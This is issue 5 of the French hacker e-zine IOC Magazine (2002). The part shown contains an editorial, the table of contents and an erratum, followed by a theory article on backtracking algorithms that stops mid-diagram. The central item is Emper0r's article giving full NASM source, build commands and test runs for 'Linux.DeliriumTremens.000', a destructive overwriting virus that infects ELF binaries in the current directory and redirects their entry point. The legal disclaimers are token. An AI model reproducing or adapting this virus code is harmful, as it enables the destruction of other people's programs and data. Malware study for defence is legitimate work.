The Input Output Corporation http://www.rootshell.be/~ioc .oO() P R E S E N T S ()Oo. _ ________ | |__ __ |__ __|| _ \ / \ | | | | | || - / |__| |_| |_| \____| __ __ __ ___ __ __ ________ ___ __ __ ________ ___ __ __ ________ | || '_ \ / _ \ | | | ||__ __| / \ | | | ||_ _ |/ - \| | | ||_ _| | || | | || __/ | - | | | | [ ] || - | | | | __/| - | | | |__||__| |__||__| \______| |__| \_____/ \______| |__| |__| \______| |__| __ ____ __ __ _ ___ __ _ _____ __ __ __ __ | '_ '_ \ / ' | / \ / ' ||__ / | || '_ \ / \ | | | | | || [ ] || - || [ ] | / /_ | || | | || - / |__| |__| |__| \____| \__ | \____| /____||__||__| |__| \____| |___/ ------------------------------------------- _ _ _ Issue#5 5 Novembre 2002 _ ------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-oO0() D I S C L A M E R ()0Oo-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- La lecture de cette publication électronique implique la lecture de ce disclaimer. Le présent numéro a pour unique vocation de présenter aux lecteurs divers aspects de ce vaste domaine qu'est la sécurité informatique, afin de leur donner les moyens de faire façe à d'éventuelles attaques. Nous n'incitons aucunement nos lecteurs à se livrer à des actes de piratages ni à quelqu'autre activité illicite. Les auteurs de cette publication déclinent toute responsablité quant à l'usage qui peut être fait des informations allant être diffusées ci-aprés. Aucune entreprise collective n'est menée par le groupe, hormis la réalisation du magazine, chaque membre étant de ce fait seul responsable de ses actes. Le contenu de ce document est sous copyright IOC (2001 - 2002) à moins que le contraire ne soit indiqué. Permission est accordée de citer ou de reproduire tout ou partie d'un article, du moment que celui-ci conserve les crédits d'origine. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- _ __ __| | __ ________ ___ / \ / _ || ||_ _| / \ | _ / | |_| || | | | | [ ] | \____| \____||__| |__| \_____/ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Quelque temps avant nos débuts, le groupe RtC signait le 5ème numéro de son magazine, qui par la suite s'avéra malheureusement être le dernier de la série. Aujourd'hui, nos deux mags cohabitent sur la même page de madchat et il semble que ce soit à notre tour de vous proposer notre 5ème issue. En espérant que cette fois-cî la série se prolonge, nous voici donc partis pour Iocmag issue5 ! Pas mal de monde nous a rejoint pour ce numéro, viperone, Marcel pour ce qui est des nouveaux arrivants, Jackniels qui avait déja publié dans notre précédente publication, ainsi que Disk-Lexic qui avait collaboré à l'issue3. Certains ont été trés prolifiques, comme Li0n7 qui totalise 5 articles ! Pour d'autres en revanche, il y a eut visiblement du laisser aller dans l'air =p Non, plus sérieusement l'équipe à bien bossé, pour preuve, ce numéro est le plus long de tous avec plus de 300ko de textes et de codes. Aussi nous espérons que vous pendrez du plaisir à nous lire. Vous l'avez constaté en téléchargant ce mag depuis notre site, le design a radicalement changé ; merci à notre québécois de collaborateur, viperone, pour ce nouveau look. En ce qui concerne l'actu de la fameuse 'scène française' dont tout le monde parle tant, nous vous avions annoncé dans l'édito de l'issue4, la sortie imminente du fameux magazine FRAG ; vous aurez compris que les choses n'ont pas du se passer comme prévues, dommage. Toutetois si vous comptiez vous y exprimer, vous pouvez toujours le faire chez nous, je dis ça juste en passant, comme ça. Toujours entre paranthèses, je (neofox) vais profiter de cet edito pour vous signaler, en tout discrétion, que je (toujours moi) recherche des amateurs de lockpicking prés de chez moi, dans la région de Clermont-Ferrdand ; voila, c'est tout, merci de votre attention. Comme à l'accoutumée, vous trouverez de quoi nous contacter à la fin de ce mag, mais vous pouvez également passer faire un tour sur irc.epiknet.org #hianda, au moins vous êtes sur de toujours croiser l'un d'entre nous. Allez, trève de bavardages, et bonne lecture ! -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ___ ___ __ ____ __ __ ____ __ __ _ __ ____ __ / __/ / \ | '_ '_ \ | '_ '_ \ / ' || || __| / \ \__ \| [ ] || | | | | || | | | | || [ ] || || | | - / |___/ \_____/ |__| |__| |__||__| |__| |__| \____||__||_| \____| ------------------------------------------------------------ | Auteur | n° | T i t r e | ------------------------------------------------------------ | Neofox |I. | Erratum : oups, I did it again ! | ------------------------------------------------------------ | Emper0r |II. | ELF infection, la menace fantome | ------------------------------------------------------------ | Disk-Lexic |III. | Algorithmes déterministes | ------------------------------------------------------------ | Li0n7 |IV. | Sniffing avancé - lsniff.c | ------------------------------------------------------------ | Viperone |V. | Something about WinNT | ------------------------------------------------------------ | MeiK |VI. | Introducion au Tunneling ICMP | ------------------------------------------------------------ | Li0n7 |VII. | Network Traffic Backdoor | ------------------------------------------------------------ | Neofox |VIII.| Surveillance des binaires SUID | ------------------------------------------------------------ | Marcel |IX. | Lib. de classe de geston Client/Socket | ------------------------------------------------------------ | Li0n7 |X. | COM Infector | ------------------------------------------------------------ | Jackniels |XI. | Démarrer sshd à distance | ------------------------------------------------------------ | Li0n7 |XII. | EXE Infector | ------------------------------------------------------------ | Emper0r |XIII.| L'Attaque des Scripts | ------------------------------------------------------------ | Li0n7 |XIV. | Programmation d'un TCP SYN FLOODER | ------------------------------------------------------------ -=-=-=-=-=-=-=-=-=-=-=- Contenu de l'archive -=-=-=-=-=-=-=-=-=-=-=- ¤ ioc5.txt ¤ winnt.zip ¤ Suid-Surveyor.tgz ----------------------------------------------------------------------------------------- I. Erratum : cherchez l'erreur ... Neofox ----------------------------------------------------------------------------------------- Un brouillon d'article s'est glissé dans le précédent numéro, vas tu le retrouver ?! Eh oui, chers lecteurs, vous avez probablement remarqué en parcourant l'issue #4, que l'article de girliie sur le carding n'en était pas un ! Il s'agissait enfait d'un 'brouillon' qui n'était que l'ébauche partielle de l'article final ! Ainsi, même si en le survolant, l'allure générale du texte semblait normale, en lisant plus attentivement on se rendait compte dès le milieu de l'article, que celui-ci n'avait en fin de compte ni queue ni tête ! Comment diable expliquer une telle méprise ? Nous ne le saurons jamais avec certitude, bien que j'ai en ce qui me concerne ma part de responsabilité dans l'affaire. Les vacances d'été ont unpeu décimé nos rangs, et sur #hianda la communication entre les troupes était assez laborieuse. Girliie s'en est allée en nous confiant son ébauche, que nous avons pris, à quelques jours de la sortie officielle, pour l'article fin prêt : lecture en diagonale, mise en page express, copier/coller à la suite du mag, et nous pensions l'affaire dans le sac ... De retour de vacances 15 jours plutard, Girliie s'aperçevant de notre grossière erreur nous a secoué les puces, et en 15 minutes, le problème était réglé, le brouillon supprimé de l'issue aussi sec ! Il doit encore subister par cî par là des copies du mag contenant toujours le brouillon mais soyez gentils, n'en tenez pas compte ! L'aritcle complet, bel et bien fini, vous sera servi dans son intégralité avec le prochain numéro du magazine. --------------------------------------------------------------------------------------- II. ELF infection la menace fantome: Épisode 1 Emper0r --------------------------------------------------------------------------------------- [ Sommaire ] I/ Introduction. II/ Langage assembleur sous linux. A/ Compilateur et syntaxe B/ Le format elf c/ Syscall III/ Plan d'attaque. IV/ Le code. V/ Conclusion I. Introduction : _________________ Avant de commencer petit rappel : "Entraver ou fausser le fonctionnement d'un système de traitement automatisé de données est passible d'un emprisonnement de 3 mois à 3 ans et d'une amende de 10 000 F à 100 000 F" (cf. iocmag issue4). Attention a ce que vous faites ; en aucun cas vous ne pouvez vous servir des informations de cet article pour nuire au le fonctionnement d'un système. Ca y est je viens de finir mon premier lame elf infector :) Je vous préviens tout de suite, mon virus est malheureusement un simple virus a recouvrement, pas un parasite ! La principale difficulté que j'ai rencontré fut l'extrême rigidité du format elf: - On ne peut pas modifier les droits des sections. - Il y a peu voir pas du tout d'espace non utilisé. - Rigidité extrême, tout ce qui est incorrect segfault, même si ca pourrait théoriquement fonctionner. - Certaines section sont recouverte au lancement. - Agrandir les sections pause pas mal de problème, c'est long et compliqué (mais c'est certainement la solution) - Je n'ai même pas réussi a ajouter une nouvelle section correctement exploitable. Bref tout le contraire du très souple format PE. Cet article peu être suivi par tout le monde, il ne s'adresse pas uniquement aux vxers. II. Langage assembleur sous linux. ____________________________________ A/ Compilateur et syntaxe : ___________________________ Je ne vais pas reprendre les bases de l'asm, les fonctionnement des registres et des instructions de bases étant expliqués dans IOC#3 et IOC#4. Sous linux on a le choix entre plusieurs assembleur dont certains utilisent des syntaxe différentes. Les plus utilisé sont: - NASM: Qui utilise la syntaxe intel, utilisé sous windows/dos - GAS: Qui utilise une syntaxe AT&T [ Différences de la syntaxe AT&T ] o Les noms de registres sont préfixés avec %, de façon que les registres sont %eax, %dl et consorts au lieu de juste eax, dl, etc. Ceci rend possible l'inclusion directe de noms de symboles externes C sans risque de confusion, ou de nécessité de préfixes. o L'ordre des opérandes est source(s) d'abord, destination en dernier, à l'opposé de la convention d'intel consistant à mettre la destination en premier, les source(s) ensuite. Ainsi, ce qui en syntaxe intel s'écrit "mov ax,dx" (affecter au registre ax le contenu du registre dx) s'écrira en syntaxe AT&T "mov %dx, %ax". o La longueur des opérandes est spécifiée comme suffixe du nom d'instruction. Le suffixe est b pour un octet (8 bit), 'w' pour un mot (16 bit), et 'l' pour un mot long (32 bit). Par exemple, la syntaxe correcte pour l'instruction ci-dessus aurait dû être "movw %dx,%ax". Toutefois, gas n'est pas trop aussi strict que la syntaxe AT&T, et le suffixe est optionnel quand la longueur peut être devinée grâce aux opérandes qui sont des registres, la taille par défaut étant 32 bit (avec une mise en garde quand on y fait appel). o Les opérandes immédiates sont marqués d'un préfixe '$', comme dans 'addl $5,%eax' (ajouter la valeur longue immédiate 5 au registre %eax). o L'absence de préfixe à une opérande indique une adresse mémoire ; ainsi 'movl $foo,%eax' met l'adresse de la variable foo dans le registre %eax, tandis que 'movl foo,%eax' met le contenu de la variable foo dans le registre %eax. o L'indexation ou l'indirection se fait en mettant entre parenthèses le registre d'index ou la case mémoire contenant l'indirection, comme dans "testb $0x80,17(%ebp)" (tester le bit de poids fort de l'octet au déplacement 17 après la case pointée par %ebp). Exemple: Syntaxe Intel Syntaxe AT&T push ebp pushl %ebp mov ebp,esp movl %esp,%ebp Personnellement j'utilise la syntaxe intel aussi sous linux, étant habitué a celle-ci. Je ne voit pas d'avantage à utiliser AT&T qui est plus longue à taper. Cependant vous devez la comprendre car gdb donne du code désassemblé en syntaxe AT&T. Vous trouverez prochainement (quand j'aurais le temps) sur mon site, un script perl pour convertir des sources d'une syntaxe vers une autre. (www.arbornet.org/~emper0r) B/ Le format elf : __________________ Juste quelques bases pour ceux qui connaissent rien au format elf. [ Les sections ] 3 sections nous intéresse particulièrement : o .data : elle contient des constantes, par exemple une chaîne de caractère o .bss : c'est la que l'on déclare nos variables ex: filename resb 255; Reserve 255 octets o .text : c'est ici que ce trouve votre code. Essayez la commande 'readelf' elle donne énormément de renseignements sur l'elf que vous voulez. Je suis en train de coder un petit outil du style de "readelf" avec quelques options en plus, bientôt dispo sur mon site (www.arbornet.org/~emper0r) >>> Note de Neofox : c'est bon Emp', on a l'adresse = Que peut on trouver d'interréssant dans le elf header : typedef struct { unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ Elf32_Half e_type; /* Object file type */ Elf32_Half e_machine; /* Architecture */ Elf32_Word e_version; /* Object file version */ Elf32_Addr e_entry; /* Entry point virtual address */ Elf32_Off e_phoff; /* Program header table file offset */ Elf32_Off e_shoff; /* Section header table file offset */ Elf32_Word e_flags; /* Processor-specific flags */ Elf32_Half e_ehsize; /* ELF header size in bytes */ Elf32_Half e_phentsize; /* Program header table entry size */ Elf32_Half e_phnum; /* Program header table entry count */ Elf32_Half e_shentsize; /* Section header table entry size */ Elf32_Half e_shnum; /* Section header table entry count */ Elf32_Half e_shstrndx; /* Section header string table index */ } Elf32_Ehdr; Ce qui nous interresse : o e_entry: Variable contenant le virtual offset du premier octet du code. o e_shoff: Variable contenant l'offset ou ce trouve le section header. [ La section header ] /* Section header. */ typedef struct { Elf32_Word sh_name; /* Section name (string tbl index) */ Elf32_Word sh_type; /* Section type */ Elf32_Word sh_flags; /* Section flags */ Elf32_Addr sh_addr; /* Section virtual addr at execution */ Elf32_Off sh_offset; /* Section file offset */ Elf32_Word sh_size; /* Section size in bytes */ Elf32_Word sh_link; /* Link to another section */ Elf32_Word sh_info; /* Additional section information */ Elf32_Word sh_addralign; /* Section alignment */ Elf32_Word sh_entsize; /* Entry size if section holds table */ } Elf32_Shdr; o sh_offset : Variable contenant l'offset de la section voulu Voila pour mon virus, on juste besoin de ces 3 variables. C/ Syscall : ____________ Les syscalls sont des interruptions logicielles un peu comme les interruptions logicielles du DOS. Par conséquent ceux qui on déjà programmé sous DOS ne seront même pas dépaysés :) Exemple: le bon vieux hello world Pour écrire une ligne on va ce servir de sys_write. Voici ce que dit ma doc a propos de sys_write: arguments: eax 4 ebx file descriptor ecx ptr to output buffer edx count of bytes to send return: eax no. of sent bytes (if POSIX conforming f.s.) errors: eax EAGAIN, EBADF, EFAULT, EINTR, EINVAL, EIO, ENOSPC, EPIPE source fs/read_write.c Pour plus d'information: "man 2 write" Si je veux écrire une ligne dans ma console : mov eax, 4 ;fonction écriture mov ebx, 1 ;on écrit dans la console mov ecx, msg ;pointe vers la chaîne mov edx, len ;variable contenant la longueur de la chaîne Le code complet: ;----------------------------------------------------------------------------- section .data ;section déclaration msg db "Hello, world!",0xa ;Chaîne a afficher len equ $ - msg ;longueur de cette chaîne global main section .text ;section contenant le code main: mov edx, len ;edx = longueur de la chaîne a afficher mov ecx, msg ;ecx pointe sur le début de la chaîne mov ebx, 1 ;file handle, ou l'on écrit mov eax, 4 ;sys_write int 0x80 ;call kernell mov ebx, 0 ;ebx = 0 -> exit code mov eax, 1 ;sys_exit int 0x80 ;----------------------------------------------------------------------------- [emper0r@laptop asm]$ nasm -f elf hello.asm [emper0r@laptop asm]$ cc hello.o -o hello [emper0r@laptop asm]$ ./hello Hello, world! [emper0r@laptop asm]$ Petite astuce avec : len equ $ - msg, le compilo remplit directement la longueur de la chaîne, sinon on peut metre la valeur directe biensur. III. Plan d'attaque : _____________________ Pour attaquer on a besoin : - D'un éditeur texte, vi est trés bien. - Une table explicative des syscalls. - Une doc sur le format elf. - gdb. - Un éditeur hexa au choix. - nasm. - ldasm peut servir aussi en modifiant son code. J'ai tout d'abord cherché à faire un virus parasite, mais après plusieurs segfaults n'ayant toujours pas trouvé, je décide de faire mes débuts avec un virus a écrasement, le plus simple possible. Tout d'abord je décide d'écraser la section .text, premier problème je ne peux pas utiliser de buffer, on ne peut pas écrire dans la section .text. Le problème du buffer est résolu, je vais tout mettre dans la pile, c'est pas trés propre mais je voit pas d'autre solution. Second problème la section .text ne commence pas directement par notre main() du code est écrit avant ; si l'on écrase ce code, une partie sera récrite lors du chargement du elf :( Il faudrait donc rechercher le début du main pour commencer à écrire notre virus. ( je sais pas si sa marche j'ai pas testé ). Cependant mon objectif est de faire le plus simple possible... Je cherche ailleurs... 12 segfaults et 4 bières plus tard je m'appercoit de quelques chose d'interréssant la section .data est exécutable ! (vous remarquez au passage ma moyenne de 3 segfaults/bière) Voila mon virus à écrasement va écraser cette section en partant du début. Pour infos, beaucoup (toutes ?) de sections qui on les mêmes droits et fonctionnement que .data sont aussi exécutable. Un avantage quand même sous linux pour les vxers, ce sont les syscalls pas besoin de créer une routine pour trouver les fonctions en mémoire. Le scann des apis en mémoire sous windows c'est franchement énervant. [ Explication de certainnes fonctions ] La programmation d'un virus contient toujours 2 parties très importante : la recherche de fichier hote et la copie du virus lui même. Commençons par la recherche de fichier : La recherche va se faire avec le syscall 220 -> getdents64. Voici un petit exemple du contenu d'un buffer construit par getdents: 0x80495ac : 0x00000000 0x80495b0 : 0x00000000 0x80495b4 : 0x0000000c 0x80495b8 : 0x00000000 0x80495bc : 0x2e040018 en + 19 le premier nom soit 0x80495c0 : 0x00000000 0x80495c4 : 0x00056a15 il y a 0x18 octets 0x80495c8 : 0x00000000 entre les noms cette info ce 0x80495cc : 0x00000018 trouve en + 16 0x80495d0 : 0x00000000 0x80495d4 : 0x2e040018 a partir de + 43 le deuxième nom 0x80495d8 : 0x0000002e ... ... ... ... ... ... ... ... ... ... ... ... ... ... 0x8049656 : 0x00000000 0x804965a : 0x00200000 prochain nom en $+20+3 0x804965e : 0x64646408 nom de fichier dddddddd 0x8049662 : 0x64646464 0x8049666 : 0x00000064 0x804966a : 0x27340000 0x804966e : 0x00000006 0x8049672 : 0x00740000 0x8049676 : 0x00000000 0x804967a : 0x00200000 prochain nom en $+20+3 0x804967e : 0x65656508 nom de fichier eeeeeeeeee 0x8049682 : 0x65656565 0x8049686 : 0x00656565 0x804968a : 0x27350000 etc .... En analysant ce buffer, on peut voir que le premier nom de fichier se trouve en 0x13 "direntsbuf+19". On voit aussi que 3 octet avant, en 0x10 "direntsbuf+16" ce trouve l'offset du prochain du prochain nom + 3. Et ainsi de suite. La Deuxième fonction est donc l'infection, en théorie ca donne : 1- Récupération un nom de fichier 2- Ouverture de ce fichiers -sion peut pas on passe en 1 3- Test si il s'agit bien d'un elf -si ce n'est pas le cas on revient en 1 4- Test si la taille de .data du fichier trouvé est > a la taille de notre virus -sinon on passe en 1 5- Écriture de notre virus au début de .data 6- Modification de l'EP du fichier vers le début de la section .data 7- Tous les fichiers de ce rep ont était testé ? -sinon on passe en 1 8- Affichage de la signature et fin. IV. Le code : _____________ /!\ Si vous voulez le tester alors seulement sur votre propre bécane. Attention ce code est destructeur. /!\ La destruction et/ou modification de données ainsi que la propagation de virus est trés fortement punis par la loi. Ce code permet l'étude de l'infection possible du format elf, en aucun cas il doit être utiliser dans le but de nuire ou détruire. ;----------------------------------------------------------------------------- ; ; Linux.DeliriumTremens.000 by Emper0r ; ____________________________________ ; ; ; ;Just a another lame virus ... ; ; ;Le Delirium Tremens est une 'maladie' lié à la suspension brutale de ;l'intoxication a l'alcool, des symptômes mineurs initiaux peuvent apparaître ;6 à 8 heures après la dernière absorption. Cette 'maladie' provoque ;agitation, état confusionnel, hallucinations, tremblement rapide, ;trouble du sommeil, signes neuro-végétatifs (sudation, fièvre, tachycardie ..) ; ; ;La Delirium Tremens est aussi une bière trés bonne (oupss j'ai fait d'la pub ) ; ; ;Linux.DeliriumTremens.000 est un petit virus capable d'infecter tout les elfs ;du répertoire courant du moment que ceux ci on une section .data plus ;importante que son code. ; ;Linux.DeliriumTremens.000 est un virus a écrasement il est DESTRUCTEUR, la ;section .data ou du moins une parti est écrasée et l'hote ne fonctionne plus ;du tout, il est irrémédiablement détruit. ; ;Si vous voulez le tester alors faite le seulement sur votre propre bécane en ;connaissant les risques encouru... ; ;Remerciement: ; - A tous ceux qui participent et/ou soutiennent la IOC. ; - La team 29A et tout particulièrement SnakeByte et Mandragore ; - Tous les vxers bien taré et bien sympa que l'on retrouve dans certains ; coin obscur de l'IRC :) ; ; ;Pour compiler ca : ;nasm -f elf DeliriumTremens.asm ;cc DeliriumTremens.o -o DeliriumTremens ;(compiler sous linux avec un kernell 2.4.18) ; ;"He who makes a beast of himself gets arid of the pain of being a man" ; ; section .data ;Le code de la souche est aussi dans la .data main : debutvirus: ; mov eax, 5 ;ouverture push 0x2E ;0x2E= '.' astuce pour pas utiliser de buffer mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 sub esp, 0x10000 ;recup de la place sur la pile, 64ko ;juste pour les noms mov ebx, eax mov eax, 220 ;getdents mov ecx, esp ;buffer_résultat dans esp mov edx, 0x10000 ;taille int 0x80 mov ebp, 16 ;premier nom en ebp + 3 lol: mov ebx, ebp add ebx, 3 ;esp + 3 = première lettre du nom jmp fouverture ;j'aurai du le remplacer par un call mais j'ai ;déja assez de manip sur la pile(voir la suite) arf: mov ecx, ebp ;test si plus de fichier dans le buf mov dl, byte [esp + ecx] cmp dl, 0 je bye ;plus de fichier alors casse toi add ecx, edx ;sinon ajoute le prochain décalage mov ebp, ecx ;on le sauve jmp lol ;et on passe au suivant fermeture: mov eax, 6 ;on ferme le fichier ouvert int 0x80 ; jmp arf ;on va ce préparé a repartir avec un nouveau fichier bye: mov eax, 4 ;affiche la signature mov ebx, 1 call @@@ ;permet de récupéré eip @@@: ;dans ecx, une fois infecter les pop ecx ;labels ne fonctionneront plus add ecx, 0xDD ;notre signature ce trouve 0xDD plus loin mov edx, 38 ;longueur de la signature int 0x80 mov eax, 1 ;c'est fini on stoppe tout mov ebx, 0 int 0x80 fouverture: ;ouverture du fichier mov eax, 5 add ebx, esp mov ecx, 2 xor edx, edx int 0x80 cmp ah, 0xFF ;teste si on a pu l'ouvrir je arf ;sinon on va ce préparé pour un nouveau fichier push eax ;met le file descriptor sur la pile pop ebx ;recup le FD call sysread ;lecture des 4 premiers octet du fichier cmp eax, 0x464C457F ;test si elf jne fermeture ;sinon on ce casse mov ecx, 0x20 call syslseek ;lseek sur e_shoff (section header offset) call sysread ;lecture de e_shoff push eax ;sauvegarde de e_shoff mov ecx, eax add ecx, 0x26C ;on ce place sur sh_size .data call syslseek ;" call sysread ;on lit sh_size (section header size) pop ecx ;on récupère e_shoff ici, sinon pb de déséquilibre pile cmp eax, finvirus - debutvirus ;si pas la place de mettre le code viral dans jl fermeture ;.data alors on ce casse add ecx, 0x268 ;on ce place sur sh_offset de .data call syslseek ;" call sysread ;on lit sh_offset .data mov ecx, eax push ecx ;sauve sh_offset .data call syslseek ;on ce place au début de .data pour écrire mov eax, 4 ;écriture :) call cocaïne ;Toujours pareil on recup eip dans ecx cocaïne: ;car les labels seront 'détruits' dans les pop ecx ;fichiers infecter sub ecx, 0xEB ;début du code viral en eip - 0xEB mov edx, finvirus - debutvirus ;nb d'octet a écrire, pas de pbs de label ici int 0x80 mov ecx, 0x18 ;adresse de e_entry (Entry point) call syslseek ;lseek sur e_entry écriture: mov eax, 4 pop ecx ;ecx = sh_offset .data add ecx, 0x8049000 ;ajout du virtual offset push ecx mov ecx, esp ;petite astuce pop edx ;rééquilibre la pile avec un octet mov edx, 4 int 0x80 jmp fermeture sysread: ;FD dans ebx, les 4 octet lu sont récupéré dans eax mov eax, 3 ;sys_call read sub esp, 4 ;on ce pend 4 octet sur la pile mov ecx, esp ;buffer sur la pile mov edx, 4 int 0x80 pop eax ;résultat dans eax ret syslseek: ;il faut le fd dans ebx, et le déplacement dans ecx ;déplacement a partir du début du fichier mov eax, 19 xor edx, edx int 0x80 ret signature db 'Linux.DeliriumTremens.000 By Emper0r',10,13, finvirus: ;----8<------------------------------------------------------------------------- [ Les tests ] Combien fait le code de mon virus pour commencer: [emper0r@laptop vx]$ readelf -S DeliriumTremens |grep .data [14] .rodata PROGBITS 08048430 000430 000008 00 A 0 0 4 [15] .data PROGBITS 08049438 000438 000178 00 WA 0 0 4 Mon virus dans la .data fait donc 0x178 (en vérité un peu moins) On va récupéré plusieurs elf avec différentes tailles de section .data. Un petit script shell que j'appelle sondage.sh va me faire ca: #!/bin/bash echo "sondage de la taille de la section $1 dans le rep /bin/\n" > resultat for file in /bin/* do echo $file >> resultat readelf -S $file | grep $1 >> resultat echo "" >> resultat done cat resultat [emper0r@laptop vx]$ ./sondage.sh .data ...... Il y a beaucoup de résultat je vais juste prendre ces 3 fichiers ca me va très bien : /bin/ypdomainname [14] .rodata PROGBITS 08049500 001500 000aa1 00 A 0 0 32 [15] .data PROGBITS 0804afa4 001fa4 000018 00 WA 0 0 4 -- /bin/zcat [14] .rodata PROGBITS 08051da0 009da0 001771 00 A 0 0 32 [15] .data PROGBITS 08054520 00b520 000ac0 00 WA 0 0 32 --- /bin/zsh [14] .rodata PROGBITS 080ab680 063680 005eed 00 A 0 0 32 [15] .data PROGBITS 080b2580 069580 002f70 00 WA 0 0 32 ---- [emper0r@laptop vx]$ ls compilo.sh* DeliriumTremens.asm resultat ypdomainname* zsh* DeliriumTremens* DeliriumTremens.asm~ sondage.sh* zcat* Je vais lancer mon virus et normalement si tout le monde a suivit il va infecter zcat et zsh mais pas ypdomainname. [emper0r@laptop vx]$ ./DeliriumTremens Linux.DeliriumTremens.000 By Emper0r virus lançé dans le rep [emper0r@laptop vx]$ cp /bin/awk ./ un nouveaux cobaye entre en jeux :) [emper0r@laptop vx]$ ./zcat Linux.DeliriumTremens.000 By Emper0r zcat a bien été infecté et va infecter awk [emper0r@laptop vx]$ ./awk Linux.DeliriumTremens.000 By Emper0r voila ca à fonctionné [emper0r@laptop vx]$ ./ypdomainname localdomain Ca section .data étant trop petite pour contenir le code il n'a pas étai infecter. VI. Conclusion : _________________ Le code comporte quelques petites astuces mais reste trés simple, il est enplus bien commenté à mon avis. J'ai essayé de supprimer un maximum les embrouilles de buffer dans la pile, on doit toujours penser a ne pas 'déséquilibrer' la pile, bien faire attention lors des sorties de fonction. Il contient juste 1 petit problème : si la section .data n'est pas la 16 ème section, alors les elf infectés risquent de segfaulter ou de ne pas fonctionner si on tombe dans une section sans droits d'exécution ou d'écriture. C'est trés rare mais ca peu arriver si l'elf a été compilé avec certaines options. Il est facile de corriger ce problème mais ce virus à écrasement ne comporte que peu d'interêt ; je ne suis pas allé au bout de tout les tests, c'était juste pour le fun :) Vous pouvez augmenter aussi l'espace pris dans la pile si vous avez peur que 64Ko d'espace (pour stocker les nom de fichiers de répertoire courant) ne suffisent pas. Vous remarquerez aussi ma façon de bourrin pour calculer le virtual offset du début de la section .data pour l'EP, on peu arranger ca facilement aussi. Un virus parasite est en cour de dévellopement avec de vraies bonnes fonctions intérrésantes, affaire a suivre .... Pour discuter de virus (n'hésitez pas j'adore ca :) vous pouvez me trouver sur IRC: epiknet & undernet, sinon mail: emper0r@secureroot.com << He who makes a beast of himself gets arid of the pain of being a man >> --------------------------------------------------------------------------------------- III. Algorithmes déterministes et non déterministes Disk-LeXic --------------------------------------------------------------------------------------- ! Salut à tous . ! L'article que vous allez lire est inspiré d'un article ! qui lui même s'est inspiré d'un article de Floyd. ! Exceptionnellement, vous ne trouverez ici que de la ! théorie. Si malgré tout, vous tenez à vérifier que votre ! microprocesseur puisse calculer durant 10^24 siècles sans ! bugger une seule fois, libre à vous de tenter de mettre ! en application les explications qui suivent. ! Je nierais avoir été responsable de l'indisponibilité des ! ressources dont disposait votre ordinateur. ! Sur ce, bonne lecture. I. Algorithmes non déterminites : _________________________________ Souvent les programmes, pour résoudre des problèmes combinatoires, peuvent s'écrirent simplement de manière non déterministe, en utilisant une fonction à valeurs multiples De tels programmes, bien qu'ils ne peuvent pas s'executer sur des calculateurs conventionnels, peuvent êtres traduit mécaniquement en programmes traditionnels utilisant le back-tracking. Typiquement, le Back-tracking résout un problème par l'énumération exhaustive de l'ensemble des solutions possibles. Si, à un moment donné, la tentative de solution ou une solution partielle est trouvée inconstante avec le problème posé, le programme "backtracke" : remet les variables à la valeur qu'elles avaient juste avant l'essai infructueux et essaie une autre alternative au même niveau. Quand toutes les alternatives à un même niveau ont été essayées, le programme remonte à un niveau supérieur pour essayer les autres alternatives. Les algorithmes non déterministes ressemblent aux autres algorithmes exceptés en deux points. 1) L'utilisation d'une fonction à valeurs multiples. Choix (X) dont les valeurs sont les entiers positifs inférieurs ou égaux à X. 2) Tous les points de terminaison sont étiquetés par succès ou échec. II. Passage d'un algorithme non déterministe à un aglorithme déterministe : ___________________________________________________________________________ [ BEGIN ] Le but est de transformer un algorithme non déterministes S par une suite |S+ de transformations en un algorithme |-- déterministe. |S- S+ correspond à la partie "descente" et S- à la partie "retour en arrière". notation: -T sera une variable auxiliaire -M sera une pile -W sera la pile d'écriture -R sera la pile de lecture -f sera une expression quelconque -p sera une expression booleenne Toute les branches de l'organigramme non déterministe seront étiquettées par des lettres. 1) S+ { | A v [Empiler X dans M] | [X <- f] | B v S { | A v [X <- f] ===============|> | B v S- { | A' v [Depiler M vers X] | B' Avant d'affecter une nouvelle valeur à X, l'ancienne valeur est stockée dans la pile M afin de pouvoir la récupérer lors du retour en arrière. 2) S+ { | A v ----------- oui-| Test P |-non | ----------- | v B v C S { | A v - -------- oui-| Test P |-non =============|> | ---------- | v B v C S- { \B' C'/ \ / \ / \ / \ / --- | | v A' Le branchement ne causant pas de perte d'information, rien n'est prévu pour le retour. 3) S+ { | A v [Empiler f dans W] | B v S { | A v [Ecrire f] =================|> | B v S- { | B' v [Depiler W] | A' v Toutes les écritures sont empilées pour pouvoir être imprimées si un succès est atteint. 4) S+ { | A v --------- |R vide |-non------ --------- | | | oui [Depiler A vers X] | | [Lire X] | | | -------------->| | v B S { | A v [Lire X] =================|> | v B S- { | B' v [Dépiler X dans R] | A' v Parce que la lecture est irréversible, une pile R, initialement vide, est utilisée pour empiler toutes les lectures sur lesquelles on effectuera éventuellement un retour. 5) S+ { Depart | A v S { Depart | A =================|> v S- { | A' v Stop Toutes les solutions possibles ont été passées en revuen l'algorithme déterministe s'arrête. 6) S+ { | A | | S { | A | v ==================|> | [Echec] | | | S- { | | | | A' v Un échec déclenche toujours le retour. 7) S+ { | A v [Ecrire W sans] [ le détruire ] | ---------------- |Un seul calcul|-oui-- | suffit-il | | ---------------- [Stop] | non | S { | A | v ==================|> | [Succès] | | | S- { | | | | A' v En atteignant un succès, toutes les écritures accumuulées sont imprimées. Si toutes les solutions du problème sont désirées, on effectuera un retour. 8) S+ { | A | B v v [Empiler 0] [Empiler 1] [ dans M ] [ dans M ] | | ---------> <------ | C v S { \A B/ \ / \ / \ / - =================|> | | C v S- { | C' v [Depiler M vers T} | v ------- non-| T=0 |-oui | ------- | v A' v B' Au point ou deux chemins se rencontrent, on doit repérer quel chemin a été pris. 9) S+ { | A v [Empiler X dans M] | [X<-1] |<--------- -------- | | X<=f |-non------ -------- | | | | | oui | | | B | | v | | | | | | S { | A | | v =================|> | | [X<-Choix(f)] | | | B | | v | | | | | | S- { | B' | | v | | [X<-X+1] | | | | | ----------- 